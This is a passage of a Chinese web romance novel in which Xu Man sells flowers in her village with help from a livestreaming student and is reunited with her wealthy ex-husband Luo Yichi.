村民们吃喝玩乐够了,临走的时候,度假村方还给每个村民送了伴手礼。 许满手里这把遮阳伞,正是伴手礼中的其中一件。 “去那里玩时随便买的而已。”许满说。 一路舟车劳顿,傍晚,许满回到了家。 许晋文询问许满顺利不,许满说,“递交一些材料办理手续而已,哪有什么顺利不顺利的,倒是爸,你吃午饭了吗?” 许晋文卷着舌头说:“吃了。” 等待开学的日子,许满在家也没闲着。 重新移栽的花大部分都活了,欣欣向荣开得正热闹。 许满注册了一个短视频账号,随手拍了几张鲜花的照片,然后加上自己的自拍,编辑了一条文案,发了个图文贴。 ——种自己的花,爱自己的宇宙。 生活正在按照自己设想的那样稳步向前,许满希望未来的日子像这些花一样,一路芬芳,一路向暖。 第一次用短视频平台,许满不熟悉,发送的时候没取消定位,当她意识到定位应该取消的时候,已经是一天后重新打开App,看到私信里躺着一条陌生的问候时。 【许满老师,你果然住在流云湾啊。】 许满眼皮一抖,脸色微动,好家伙,这熟悉的语气,不会是梁桓宇吧。 再定睛一看…… “宇音不绕梁……”许满嘀咕着这个id名字,点进了他的个人主页。 这位名叫宇音不绕梁的网友还是个不大不小的网红,粉丝三十来万,主页里的帖子基本都是唱歌的,偶尔掺杂了几条晒狗的视频,置顶的两条点赞量破百万,后面有直播录屏,有日常拍摄,都是很吸引小迷妹的那种耍帅风格。 许满这个年纪,已经不能轻易被这种视频吸引,只觉得这种加个大滤镜将脸部半遮半掩欲语还休的画面勉强称得上赏心悦目,于是快速浏览了几个,发现不感兴趣,便关掉了页面。 退回来时消息显示已读,许满眉头微蹙,再看自己的主页,发现粉丝从零变成了一百多,滑到底一看,第一个粉丝正是宇音不绕梁。 “……” 许满不知道这位梁同学想做什么,鬼使神差的,她把梁桓宇从粉丝里移了出去。 谁知刚移出去,昨天发的内容有了新评论,“老师为什么不让我关注你?我给你带来粉丝和流量不好吗?”配图一个可怜兮兮的表情。 许满回复:“我不需要粉丝,也不需要流量。” 梁桓宇没回复了。 还删掉了自己的评论。 度假村正式营业之后,流云湾村的人多了起来,村民们纷纷做起了生意,有开民宿的,有开超市的,有做小商品买卖的,还有开饭馆的。 许满家里没人力也没精力,万事只能靠她自己,她把买卖的念头打在了院子里的花上,挑了开得好看的那些,做些修剪和包装,弄成小花束或者小花环,摆在家门口,随缘卖给来往的游客。 暑期天热,度假村为了招揽生意,打出了避暑山庄的名头,特意在景区内搞了戏水项目。 许晋文闲着无聊,看对门老刘,隔壁老王,路边老李,一家家的都做起了小买卖,还都挣上钱了,十分眼热,整天急得口齿不清的嘟囔许满,“别搞那些花了,一天还,卖不出去一朵。赶紧,进点货,也摆,家门口卖,看看,老刘家,老王家,现在天天,大鱼大肉,以前哪吃的,这么好?听说,过年还要,换车呢。” 许满不能认同:“那我上班了,进的货谁来卖?” 许晋文吃力反驳:“那你,你上班了,种的花,也没人照看啊?” 许满沉默:“……” 这样嘟囔了几天,许满为了打发许晋文的无聊时间,终于骑着小电瓶车去镇上的批发市场进了点货,回来在家门口的阴凉处支了张小桌子,把泳衣、水枪、泳镜等一一摆上,随缘做起了小生意。 许晋文没事儿就拄着拐杖坐在桌前盯摊子,有事儿了,就换成许满盯。 一天赚个三块五块的,虽然不如老王老刘他们进账多,但好歹安抚了许晋文眼红的心。 一天早上,许满摆好了摊子,在院墙外修剪花枝,忽闻两声狗叫。 “汪,汪。” 李伯伯家的狗又跑出来了? 许满担心狗在花坛周围乱尿,直起身子驱赶。 谁知刚一抬头,却见梁桓宇身穿宽大白T和黑色运动短裤,手牵一只毛发油亮的大金毛,脚踩朝阳大步流星跑过来,嘴里还喊着:“大黄,大黄,慢点,哎你等等我。” 许满还待确认没眼花认错人,大黄已经跑到花坛边上,头拱在草丛里原地转圈嗅了嗅,接着抬起一条后腿,刷啦啦啦—— 尿了。 “啊,我的花——”许满惊叫,阻止已经来不及。 梁桓宇揉着金毛的头,笑得没心没肺,“许满老师,对不起啊,我会赔的。” 第20章 第 20 章 关门,放骆亦迟! 会赔就行。 许满将狗尿浇了的花核算好, 点开收款码,给梁桓宇报账:“786元整, 不还价。” 梁桓宇掏出手机,“加个微信,给你转账,不然不赔。” “直接扫码付款就行,不用那么麻烦。” “老师你不了解我,我这人就喜欢麻烦, 不麻烦这钱就付得没有教训,不长记性。” “…………” 好吧,给钱的都是祖宗,要钱的都是孙子, 得顺着祖宗的心情,才能把钱要到手。 许满深谙这一道理。 将收款码换成个人二维码, 梁桓宇一扫, 许满通过了好友请求, 下一秒便收到了转账。 “爽快!” 梁桓宇扬扬手机:“我说了, 会赔钱, 绝不食言。” 美滋滋的收了钱, 许满继续去修剪花枝。 梁桓宇和狗一起蹲在旁边, “我从度假村里一路跑过来, 许满老师你不给我倒杯水喝吗?” 许满头都不抬:“我还没问你怎么会出现在这里。” 梁桓宇抖抖狗绳, “当然是遛狗啊。” 大黄:“汪!” 许满:“?” 梁桓宇望向大黄, 眼神宠溺得像在看自己的女朋友:“我家大黄在学校里憋坏了, 听说流云湾度假村好玩,邀请我一起出来散散心。” 许满不信,“你说狗邀请你?” 梁桓宇信誓旦旦, “对啊,我捏了几个纸团让它选,他一下就选中写了度假村的那个。” “……” 许满合理怀疑纸团被人动了手脚。 “然后就散到我家这里来了?” “也不是。昨天就来了,今早出门遛它时,忽然想起许满老师你是这儿的人,这不走到村口一打听,问有没有一个叫许满的女博士,人家告诉我,有,可太有了,整个流云湾就出了这么一个博士,所以很容易就找到了。” 花被狗尿浇过以后,很容易被烧死,许满将那几株花铲出来,换了土,处理过后重新栽回去。 梁桓宇就坐在摊位后的小板凳上看许满忙活。 他注意到摆放在桌子上的花束和花环。 刚抽枝的袖珍绿毛球和小雏菊扎在一起,围城一个小花环,鲜嫩的绿上点缀着白色的花,看起来很清新很夏天。 “你这是让卖的?” “嗯。” “有人买吗?” “偶尔有游客带小朋友来村里转悠,看到了会买,但是收入不多,一天下来就赚个买菜钱。” “你的花坛就这么点产量,卖得多了才怪呢。” “……” 这用你说? “那点买菜钱够我爸开心一整天了。” 梁桓宇拿起一个花环,戴在自己头上,对着手机摆了几个造型,咔嚓咔嚓自拍起来。 “老师,你这些花草品种繁多,每一种都养得那么好,有些观赏价值还挺高,我有个办法能让你多卖点,你考虑不考虑?” 许满这院内院外两个小花坛,加起来还没半间教室大,种的都是时下应季的花,过了花期就都败了,顶多看它们开得艳,就这么等凋谢可惜,所以才拿出来做个花环花束随便卖一卖,当不成一件正事儿干。 再说她也不是没卖过花,考研那年冬天,她不就推着小推车四处奔走卖花吗? 每天都要花时间想搭配,做包装,还得找人多的场地售卖,一出门就是一天,现在许晋文的身体不允许她离开太长时间,许满只能在家里随便卖卖,就当给许晋文找点事情做。 “不考虑。” 许满果断拒绝。 梁桓宇自拍完,又拿起旁边的六出花花环和风铃花花环来看。 花环旁边还摆放着几个小花束,分别是洋桔梗,康乃馨,绿芯向日葵。 以及一些包装好的小玩意,分别是花茶和花种。 “老师你先别急着拒绝,我就是看这么漂亮的花没人欣赏太可惜了,所以才想出一个办法,我随便一说,老师你就当个意见随便一听不行?” 许满每当一回事,“那我就随便听听,你说的什么办法?” “当然是直播呀!我短视频账号有粉丝基础,闲下来我就开直播唱歌,一周开个两三场,顺带着卖点东西。直播带货这么火,我光唱唱歌平时就有点小进账,如果专门开一场带货直播,能卖出去好几百单呢,流量好的时候,过千也是有的。老师你想做的话只要把鲜花拍拍照,挂我橱窗里,我直播时拿上来说几句,等网友下单就行。或者你自己开个橱窗,我教你怎么弄?” 许满想了想,有点头大,“好麻烦,还得找快递,鲜花包装也比较复杂,邮过去还得教他们醒花,不想弄。” “别不想弄啊老师,这样吧,快递方面我有经验,你怕麻烦我帮你弄,我们先试试水,不做批量,一束花上一个链接,一天就上三四个,你什么都不用管,只管把花养好就行。” 听起来挺简单,不用她操心,许满想了想,觉得也不是不行,可以尝试。 她狐疑看着梁桓宇,“真这么好弄?” 梁桓宇打包票:“真这么好弄!” 许满将信将疑:“你为何如此好心?” 梁桓宇眼神真挚:“老师你看不出来吗,我在故意接近你,讨好你。” 许满:“?” 梁桓宇又笑,他一笑,露出标准的八颗牙齿:“我一开始就说了呀,老师,我想读你的研究生,当你的开山大弟子,所以当然要跟你搞好关系。” 读过研的都知道做开山大弟子的赌博成分有多大,劳累程度比牛马有过之而无不及。 跟对导师,的确会学到很多,但若是跟错了……那也没关系,反正能毕业是妥妥的。 而如果许满第一次做导师,那可能会为了感谢学生选她,送几篇含金量高的论文吧。 许满勉强信了梁桓宇的鬼话:“梁桓宇同学,不是我泼你冷水,我入职后只能做本科生讲师,还没资格带研究生,不过为了感谢你,开学后我可以帮你物色好的硕导,给你做推荐。” “嗯嗯嗯。”梁桓宇点头如捣蒜。 这样说好以后,梁桓宇牵着大黄回到度假村酒店,立刻去前台,要把开学前的住房费用蓄满。 前台一听他还要住一个月,为难道:“抱歉先生,您只能续住到第三天,后面两天无房可续。” 第一次碰到这种事,梁桓宇纳闷:“为什么?” 前台:“有一家公司提前两个月做了预定,把周末两天所有房间都包了。” 梁桓宇挑眉:“一间空房都没有?” “很抱歉先生,没有。” “他们包完了我再续呢?” “可以的,先生,您可以过了周末再续,需要我帮您续吗?” “嗯,帮我续吧。” 梁桓宇把身份证递给前台。 “哎,等等……” 度假村酒店离许满家步行要半个小时左右,村里那么多民宿,每一家都比酒店离许满家近,他为什么不去包一个月的民宿住住? “先不用帮我续了。” “好的,先生。” 梁桓宇琢磨着,又把身份证给收了回去。 傍晚,梁桓宇牵着大黄又去了许满家,对着许满就是一通抱怨输出,“你说这家公司是不是脑子有泡?哪个领导想的缺德主意?专坑牛马是吧?大夏天的来这儿团建?” “你这是连自己一起骂了?大夏天的不在城里玩,来乡下吃苦来了。” 对门刘大爷送来一篮子瓜果西红柿,许满挑了几个长得不错的,洗干净了给梁桓宇尝尝。 梁桓宇也不客气,边吃边说:“那不一样,我好歹也是园林专业的学生,来这儿是为了亲近自然,增长见识。” 许满耳朵自动过滤了梁桓宇对自己行为的美化评价,感慨道:“要不说度假村的人有脑子呢,开发了戏水项目,团建的目的是为了增加员工之间的感情,大家一起玩漂流打水枪,感情这不就建立起来了?” “算了吧,我要是知道这是哪家公司,一定提前避雷,这么热的天,38度啊,我宁愿在公司带薪加两天班,也不愿意牺牲周末顶着大太阳出来团建。” “汪汪!”大黄也表示赞同。 “对了,许满老师,酒店不让续住了,你有推荐的民宿不?我想住民宿。” “有啊,你等等。” 许满起身跑去隔壁,站对门大门口朝院子里喊了一嗓子,“刘大爷,我这儿有个朋友想住你们的民宿,你给打个折呗。” 老刘一听生意来了,笑呵呵的跑出来,“是满儿的朋友啊,那我可得便宜便宜,什么时候住啊,住多久?” 梁桓宇牵起大黄,“随时可以,要住……一个多月吧。” 生意来了老刘本来挺高兴,谁知一看见狗,表情立刻变得严肃,连连摇头,“人可以住,狗不行。” 梁桓宇:“为什么?大爷你不给我打折还不行吗?” 刘大爷:“给你打200%的折都不行,我民宿里家具都是手工定制,住一个月,我怕它给我拆了。” “嗷呜……” 大黄仿佛听懂了,啪嗒啪嗒走到许满脚边,垂头耷耳的蹭了蹭许满的小腿。 许满惊奇:“这狗还听懂人话了……不是,你给我求情也没用啊,民宿不是我开的。” 梁桓宇:“老师,大黄很喜欢你。” 许满蹲下,摸摸大黄的头,“好像是。” 梁桓宇趁机:“它想住你家。” 许满震惊:“啊?” 梁桓宇垂眸:“它要是不住你家,它就无家可归了。” “……” “老师,它饿了会自己找吃的,拉了会自己找地方拉,许满老师,你人美心善,赏给它睡觉的地方呗?” 许满听懂了梁桓宇的算盘,“打住,我这人人丑心毒,拒绝道德绑架,家里没地方给它睡。” 大黄又听不懂人话了,一骨碌站起来,四条腿欢腾跳跃,转眼就钻进了许满家的院门。 梁桓宇:“你看,它绑架你,自己去你家找地方睡了。” 许满惊了,赶忙阻止:“不是……” 梁桓宇:“就这么说定了,刘大爷,多少钱,我转你。” 许满合理怀疑自己被这一人一狗给赖上了. 晚上,吃完饭,许满打开短视频,按照梁桓宇说的,点开了宇音不绕梁的直播间。 屏幕里,一个阳光帅气的男生怀抱吉他,以酒店大床为背景,配上舒缓的轻音乐,在跟网友们聊天。 可能是打光和滤镜的原因,梁桓宇五官看起来立体了许多,眉眼深邃,唇峰明显,下颌线清晰,打眼一瞧,跟个当红爱豆似的。 “大黄啊,它今天不在,去一个朋友那里玩了。” “不聊隐私哦,你们想听什么?我们聊其他的。” “宝宝们可以看一眼右下角的小黄车,里面上了一些新东西,有向日葵,洋桔梗,康乃馨,买束花送给朋友或者妈妈啊宝宝们。” 梁桓宇说完,一拨琴弦,径自唱了起来。 大黄听到他的声音,呜呜叫了两声,蹲在许满脚边,打了个舒筋懒骨的大哈欠,团成一团,不多久眯眼睡着了。 许满点开购物车。 傍晚迎着火红夕阳拍摄的奶油向日葵,以金色晚霞为背景,被蓝星花和洋甘菊簇拥着,束在复古色的报纸里,像文艺复兴时期,油画世界里傲娇的公主。 梁桓宇有很高的审美,色彩在他手中被运用到了极致,拍出来的照片,充满了氛围感。 许满看了会儿直播,见没有成交量,便退出了,去烧水,给许晋文泡脚。 第二天,梁桓宇搬进了刘大爷的民宿里。 第三天,梁桓宇直播间卖出了第一束花。 隔天,许满和梁桓宇一起打包,将花发了出去。 也是这一天,一列大巴车队缓缓驶入流云湾。 度假村停车场的树荫下,秘书赵靖闻望眼欲穿。 不知道第几次抬腕看时间,黑色轿车才姗姗来迟驶入视野。 车子停稳,赵靖闻小跑过去,撑开遮阳伞,打开后座车门,毕恭毕敬的对里面说:“骆总,已经按照您的吩咐,套房通风,并且重新打扫过,保证看不见一根头发。房间里也摆放了鲜花来净化空气,酒店厨房也已备好午餐。这是您的房卡,需要提前通知酒店把午餐送到您的房间吗?” 骆亦迟低头,无名指上的戒指在他指间转了几转。 “不用了,你和司机先去休息吧,车钥匙给我。” 老张将车钥匙车交给他。 下车,关门,落座。 车子一声低沉轰鸣,驶离视野。 太阳暴晒的停车场,赵靖闻和老张一起目送黑色车子驶远。 等看不见汽车影子了,赵靖闻才好奇的问老张:“张叔,骆总要去干什么你知道吗?他从来不跟我们一起团建旅游,这次怎么心血来潮,一起跟着来了?搞得我压力巨大,都不敢好好玩了。” 司机老张点了根烟,猛抽一口,悠悠吐出来。 “哎,谁知道呀,以前还好,跟个孩子一样,整天就知道玩,啥事儿也不操心。自从老骆提前退休,把小骆扶上去开始,小骆就跟换了个人似的,变得六亲不认,把杜家的蛀虫全都清走了不说,还差点把他妈杜曼玲给搞疯了。” “这些我知道啊,可是这跟老板要出来旅游有什么关系?” “什么关系?关系大了我告诉你。” 赵靖闻洗耳恭听。 老张叼着烟又是狠狠一抽,一根烟以肉眼可见的速度迅速燃到了底。 浑浊的烟圈在烈日下缓缓散开,老张的嗓音很是沙哑,听起来像在诉说一件经年陈旧的老故事。 “公司经过几年的改革动荡,现在算是步入正轨了。” “嗯。” “你也是公司老人了,小骆前妻你还记得吗?” “嗯,有点印象。” “我告诉你啊,有一次在医院,我看过她的身份证。” “然后呢?” “她啊,是流云湾这儿的人。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 20-30 第21章 第 21 章 好久不见。 许满为了感谢梁桓宇直播唱了三个晚上的歌才帮她卖出去一束花, 摆出不会亏待大黄的诚意,快递一发出去, 就骑上小电驴载着梁桓宇去镇上的批发市场,给大黄买了个狗窝。 本来许满想找几条不用的旧被褥给大黄将就用的,但许晋文不舍得,拦着许满急得话都说不清楚了,许满无奈这才作罢。 回来时已经快中午。 许满将电瓶车停在门口的树荫下,摘了头盔进屋放东西, 大黄摇着尾巴跑出来。 路过门口摊位,许满扫了一眼桌子,发现少了一束花,“爸, 不错啊,一大早就开张了。” 许晋文像是才想起来, 大声朝进屋的许满道:“你赶紧, 看看, 手机收到账, 没?” “看到啦, 回来路上就看到啦。” 放好东西, 许满从冰箱里拿了拿了瓶矿泉水, 出来递给梁桓宇。 梁桓宇接过水, 揉着大黄的脑袋, 拎起黑色塑料袋里未组装的狗窝, 高兴的朝大黄炫耀:“看爸爸给你挑的窝, 怎么样?一会儿就给你组装起来,不许不喜欢哦,你许阿姨杀价都快磨破嘴皮子了呢。” 大黄这儿闻闻那儿嗅嗅, 验货似的,验完吐着舌头,一屁股坐在了梁桓宇脚边。 梁桓宇拧开水,靠在电瓶车上咕咚咕咚喝了两口水,目光放向不远处巷子口,一辆黑色轿车上面。 “老师,你们村有钱人多啊,宾利,在售系列里的顶级进口车,谁家的?” 许满忙着张罗午饭,又是淘米又是择菜,没在意梁桓宇说的什么,“不懂,多高级?很贵吗?我们村最有钱的好像开的是一辆宝马。” “喏,就巷子口那辆。”梁桓宇下巴指指巷子口,“刚才一进来就看见了。” 许满顺着梁桓宇所指的地方看去,果然看见一辆车。 银色立标展翼,漆黑车身如墨,外观低调大气,线条浑厚优雅,一眼看过去,给人的感觉就是奢华沉稳,与这个村子的朴实无华格格不入,不像是普通人能买得起的代步工具。 前挡风反射着刺眼的阳光,里面隐约坐着个人,看不太清,许满不确定,觉得万一真有人在,这样盯着人家的车子看还是有点冒昧的,遂赶紧收回目光,转身招呼梁桓宇,说:“那车子一看就是游客的,我们村没这么贵的车子。” “哦,好吧,车牌确实不是你们这儿的。” 没有哪个男人能拒绝一辆名贵奢华的车,尤其这辆车看起来还像个等待爱人的绅士。 梁桓宇不仅没收回目光,还举起手机,咔咔拍了两张照片。 “哎,你干什么?你没看车里有人?” “啊?车里有人?在哪儿,我没看见。” 梁桓宇伸长了脑袋去看,许满下意识想给他指,然而目光刚投向车子,一阵风吹来,树影婆娑,斑驳光点落在车身上,车前那块蓝色车牌,就这样影影绰绰的映入了她眼睛里。 那一瞬间,许满心脏重重跳了一下,呼吸都跟着乱了节奏,差点没拿稳手里的东西。 多久了,许满没有仔细算过。 她以为她已经忘了,但那串数字重新出现在眼前的时候,她才发现自己并没有忘记,甚至记得如此清楚。 清楚到,铭心刻骨的程度。 “老师?许满老师?” 许满猛的一下回神,“啊,怎么了?” 梁桓宇不高兴道:“我才要问你怎么了,叫你都不应。” 许满扯出一个不太自然的笑,“跟你一样,没见过这么高级的车,看傻眼了呗。” 梁桓宇将信将疑。 许满往屋里走,“好啦,别看啦,快去洗菜,不然一会儿没你吃的。” 门口有穿堂风,许晋文喜欢坐在门口吃饭,不仅凉快,还能跟对门老刘搭话聊天。 午饭做好,许满在门口阴凉地支了张小方桌,给许晋文盛好饭,刘大爷正好也吃上了,坐在门前石凳上,扯开嗓子,跟许晋文开启了聊天模式。 “老许啊,我问满儿,满儿一直不说,你跟我说道说道,小梁人这么殷勤,整日跟满儿成双入对的,是不是跟满儿在处朋友啊?” 许晋文说话虽慢,但耳朵一点都不聋,听见这等闲话,赶紧帮许满澄清,“不是不是,满儿说,小梁是她的学生。” 老刘一个标点符号都不信,“学生啊,满儿多大了?我记得属兔的,也快三十了吧?小梁多大了?” 梁桓宇也端着碗出来了,搬了个板凳坐在桌子前,自然而然搭上了话:“刘大爷,我还差两个月就二十二了。” 刘大爷:“二十二啊,也不小了,都法定婚龄了。” 梁桓宇:“大爷您还知道这个啊,是啊,刘大爷,我也不小了,该结婚了。” “你跟满儿这婚事啥时候办啊,是不是也快了?” 梁桓宇笑:“刘大爷您看好我跟许满老师啊?” “你们俩,郎才女貌的,多登对,你天天搁满儿家里来,天一亮就来,天黑了还不走,不是满儿男朋友是谁?实不相瞒,我当初娶老婆也是赖在人家里不走才娶上的,哈哈哈哈……” 梁桓宇竖起大拇指:“大爷你真是火眼金睛呐!那依您高见,你觉得许满老师看上我了吗?她要是看不上我可咋整?要是看得上我,我们什么时候办婚礼合适?到时候请您做证婚人行不?” 刘大爷乐呵呵的:“好啊好啊,村里老王家娶媳妇儿就是我当的证婚人,你们城里人要是不嫌弃我这乡下人,这证婚人我也愿意当!” 对话声乘着风,一字不落的飘进不远处的宾利车里。 许满将最后一盘菜端出来,挨着梁桓宇坐下,斜眼瞪了梁桓宇一眼,嗔道:“别瞎说,我还要当老师呢,你可别害我!” 梁桓宇咬着筷子:“跟大爷说玩笑话呢,你也当真?” 嗡——,有车子发动的声响。 巷口那辆宾利缓缓探出头来,默默驱车驶向了远处。 没人注意到那扇用极慢速度摇上的车窗玻璃,自然也没人看见,车里人恋恋不舍收回的视线,以及他黯然心伤下压的唇角. 有了第一笔订单的鼓励,梁桓宇想趁热打铁,卖更多的花出去,提议把直播间搬到许满家里来,有花坛做背景,说不定销量会更好。 当时许满和梁桓宇正在一起给大黄搭窝。 “就把直播间搭在院子里,以我们头顶的星空和身后的这个小花坛为背景,大黄趴在它的窝里,再搞几个小彩灯,你在旁边跟我聊聊天,我就在镜头前唱歌。”梁桓宇为自己天才想法五体投地,“想想就很田园很陶渊明啊,有没有许满老师!” 许满不能认同:“销量再高能高到哪里去?我们三天才开了一单!” 梁桓宇信心满满:“万事开头难,没准以后能卖出几百上千单呢。” 许满摇头摆手:“不行不行,那样太晚了,我爸八点多就要睡了,这样会吵到他……” 没想到许晋文听到了,呵呵笑着支持他们,“没事,没事,不用管我,我老年人,睡得沉,你们年轻人,自己玩。” 梁桓宇朝许满眨了眨眼:“看吧,你爸都支持呢。” 下午,梁桓宇把直播设备搬了过来。 许满给梁桓宇打下手,搭玩狗窝,又在院子里搭起了简易的直播间。 太阳落山,燥热退却。 夜幕降临,晚风送来阵阵凉意。 吃完晚饭,梁桓宇坐在设备前开播了。 许满去门口叫许晋文,让他早点回屋休息,夜里蚊虫多,盯着一天就赚个三五块钱的摊子,实在是没必要。 许晋文偏不,说话虽慢但理直气壮,“今天的,游客多,晚上,趁凉快,大家都,出来了,这不,傍晚到现在就,赚来二,二三十块钱,明天的,酱油钱都,都赚回来了。” 许满劝说:“这钱赚不完,游客们一晚上不休息,你难道也要跟着守一晚上?” 许晋文双臂环胸不动如山,噘着嘴别过脸,双目囧囧盯向摊子,不理会许满了。 许满犟不过老头,尤其一个生病的老头,无法只能去屋里拿来薄外套和薄毯子,盖在许晋文身上,又在旁边点了盘蚊香,把门口的灯调亮,最后还应许晋文要求,把摊位上的货给补齐了。 不一会儿果然有几个游客过来了,拿起小桌上的水枪看了看,说:“明天有水上游戏,听说还有团队比赛,我们买几个水枪备用?” “好啊。”同行的游客说。 许满眼看着一单小买卖完成,手机里传来付款到账的声音,可把许晋文给乐坏了,嘴上没说,但脸上全是炫耀的微笑。 行吧,只要老头开心就好,许满也不计较了,给许晋文倒来热水送到他手上,还没走开,又来了生意。 一个低沉的男性嗓音在背后响起:“老伯,买束花。” 许满闻声,身形一顿,脚步凝滞在廊下晦暗不明的灯影里。 许晋文慢吞吞的说:“年轻人,又来照顾我,生意啊?上午买的,花送人了吗?爱人,还开心吗?” 男人回答:“花无人可送,放在了我的床头,悠悠花香,助我入眠。” “哦……”许晋文拖长声音,也不知听懂没,“那你现在,买什么啊,只剩,康乃馨了。” 男人说:“向日葵,还要向日葵。” 许晋文便朝许满的背影喊:“满儿,向日葵,客人,要向日葵。” “好,爸,你让客人稍等。”许满说。 她回院子,去梁桓宇的直播台面上拿了一束向日葵,像对待路过的任何一个游客一样,用再正常不过的姿态,微笑交给等在摊位前的男人。 男人修长手指接过花束,无名指上的戒指映照着廊下灯光,银色金属质地微微一闪。 再抬眼,许满听见男人压抑发紧而略带颤抖的嗓音:“许满,好久不见。” 第22章 第 22 章 骆先生,请自重。 中午的时候, 骆亦迟驱车回了酒店,开完一个视频会议出来散步, 不知不觉就散到了这里。 早在从连城出发以前,他就告诫自己,他只是来看看,只是看看,看看许满过得好不好,看过就好, 不要打扰她,一定不要打扰她。 可是,思念和渴望由不得他。 当他坐在车里,闻着她亲手种下的向日葵花香, 看她载着一个陌生男人从面前一闪而过,那一刻, 心底里泛起的苦只有他自己品尝得到。 他的眼神太好, 以至于他清楚看见, 摘下头盔的许满笑得灿烂, 松松扎着的及腰低马尾迎着风, 在空中随风摆动, 与曳地的亚麻色长裙扬起同样的弧度。 骆亦迟已经太久没见到过她这样的笑容, 久到他已经记不清, 上次许满这样神采奕奕的样子究竟是什么时候了。 他只能回忆起摆放在办公桌上的那张婚纱照片, 但那也只是在摄影师指导下, 摆出来的不太自然的微笑而已。 透过车窗玻璃, 骆亦迟偷偷观察着许满。 许满瘦了。 她本就瘦,现在更瘦了。 锁骨深深凹陷,光影在薄衣下若隐若现, 盈盈一握饿的纤细腰肢束在长裙里,那个男人双手拖在她的腰上,直到许满把车挺稳,才将双手从她腰间拿下来。 骆亦迟觉得这一幕有些刺痛眼睛,但还是贪恋的,舍不得移开半寸目光。 他看着许满进了那间院子,又从那间院子出来。 看到许满朝他这里看过来。 他不敢靠近,不敢出现,想让许满发现他,却又怕许满发现他。 矛盾的心情左右摇摆,他就安静的坐在车里,像一个阴暗没有胆量的偷窥者,只能躲在暗处偷偷观察许满的生活。 直到听到对面老伯询问那个陌生男人和许满结婚的消息,骆亦迟苦苦坚守的防线终于有所松动。 他不敢听,更不敢想。 他怕那一切是真的。 可是哪怕不听不想,许满的影子依旧无时无刻不出现在他的脑海。 他想她,想得发疯。 不见还好,见了更甚。 现在,他站在许满面前,手里举着花,静静等待面前的女人开口。 许满微微一笑,她不问骆亦迟为什么会出现在这里,只客气疏离的说:“好久不见,骆亦迟,谢谢你照顾我家生意。” 头顶廊灯下,飞蛾在扑朔飞舞,扑棱扑棱的,像骆亦迟此刻的心跳,没有章法,没有规律。 他并不知道该说些什么,这冲动之下冒昧的接近,他还没做好万全的准备。 “不邀请我进去坐坐吗?”他绞尽脑汁,只想到这个再寻常不过的借口。 许满望了一眼院里,梁桓宇在直播。 “太晚了,不合适。” “哦。”骆亦迟低下头,看起来有些失望。 两人之间气氛微妙,许晋文见眼前这个男人像是许满的旧识,站起来热情的发出邀请:“满儿朋友吧?来,来来,去家里,坐。” 并埋怨许满:“人一天,来两回了,原来,是找你的,还不快,请人,进去。” 骆亦迟站在那里不动,没有走的意思,大概是真想让许满请他进去。 许满一直不发话。 最后许晋文上来,推着骆亦迟的背,把他推进了院子里。 突然进来个陌生人,大黄最先发起警觉,四腿一蹬猛的站起,朝陌生人狂吠。 叫声引起梁桓宇的注意,梁桓宇赶忙离开直播镜头,牵住大黄厉声喝止,“喂,大黄,坐下!” 大黄嗷呜一声,围着梁桓宇转了两圈,不情不愿卧下了。 院子里灯火通明,萤火虫一样的昏黄灯带铺在怒放的鲜花上面,光点与花交相辉映,或明或暗,浪漫梦幻,骆亦迟走进来,像误闯进了精心布置的告白现场。 他有些无措,试探着询问:“这是……?” 同时开口的还有梁桓宇:“不好意思啊,狗儿子认生,许满老师,这是哪位邻居?我没见过呢还,看起来挺气度不凡的。” 许满介绍:“他叫骆亦迟,是那辆宾利车的主人。” 说完,又补了一句:“我前夫。” 梁桓宇抚摸狗毛的动作一顿,差点惊掉下巴:“啊?” 一旁的许晋文也听得清楚,望向骆亦迟的目光,瞬间从友善变成不悦,目露凶光! “满儿?你说什么?他是你的,前夫?我那,没登过门的,前女婿?!” 许晋文“前女婿”三个字掷地有声,完全不像一个病人了。 许满微一颔首,“是的,爸。” 许晋文长脸蓦地一拉,提起手中拐杖就是蛮力一杵,杵向骆亦迟锃光瓦亮的皮鞋面,声色愠怒的驱赶:“出去!出去!结婚时不出现,现在来,是有何居心?出去!出去!” “爸?爸!别生气,爸!” 人到晚年最忌动怒,许满赶紧劝去,夺走他手中的拐杖,一边顺着他的背,一边耐心哄他:“他来肯定就做好了挨打挨骂的准备,你要是跟他生气了,不就满足他了?爸,身体要紧,身体要紧,犯不着为人渣动怒。” 看不见骆亦迟的表情,但许满摆手让骆亦迟赶紧走。 在安抚声中,许晋文的怒气慢慢冷却下来,许满见机把他拉进屋里,打开电视,随便找了个戏曲节目,让他在那儿看着。 许晋文喜欢看戏,边看边嘟囔,嘟囔着嘟囔着,就忘了刚才生气那回事儿,在咿咿呀呀声中打起了瞌睡。 许满再出来时,骆亦迟还没走。 他垂首站在原地,眉压眼,薄唇抿成一条直线,挺拔的身姿微驼,肩膀泄了力似的萎靡向下耷着。 花坛里昏黄小灯闪烁,映照在他瘦削的脸庞上,一半是热闹,一半是孤寂。 许满觉得骆亦迟好像跟以前不一样了,但不一样在哪里,她看不清。 不过也没必要看清,这只是一次很偶然的重逢,很快,骆亦迟就会离开,他们之间是平行线,不会再有交集。 “既然不走,那就坐下来听会儿歌吧。” 许满拿了个板凳,让骆亦迟坐下,然后自己坐在旁边,点开了宇音不绕梁的直播间。 梁桓宇早就回到屏幕前重新开始直播,刚才突发小插曲,网友们都在刷屏询问原因。 他自己都没搞清楚状况,也对这个八卦好奇着呢,但直播当前,此时不是探究的时候,便胡乱跟网友解释:“有客人来访,大黄大惊小怪而已,没啥事儿,倒是你们,不欣赏欣赏我花心思为你们打造的全新直播间?” 网友们仿佛这才注意到新的直播环境,大呼惊喜,纷纷质问梁桓宇,最近几场直播场地频繁变换,尤其今天还特意打造了这么浪漫的场地,是不是在酝酿什么大动作? 梁桓宇:“我能有什么大动作,还不全是为了讨你们欢心?” 【到底是讨我们欢心,还是讨刚才匆匆入境的小姐姐欢心?】 【小姐姐一闪而过,只看到个侧面,瘦瘦的好薄一片,看起来是很有书卷气息的人】 【光看侧面就知道是个慵懒系气质美人儿】 梁桓宇朝许满看过来:“她啊,现在看是挺美的。” 【我截屏了,想看的私】 【只有我想求姐姐的长裙链接吗】 【你们没人注意我消失的大黄吗?它终于又出现了呜呜呜】 【小姐姐一出现,大黄就出现了,快说,大黄这几天是不是在跟小姐姐过】 梁桓宇:“对,大黄在她这里,大黄很喜欢她。” 【绕梁弟弟艳福不浅呐】 【是绕梁弟弟高攀了】 【绕梁弟弟今天是准备表白吗?】 许满看了几句评论,发现误会大了,赶紧口型示意让梁桓宇给大家澄清。 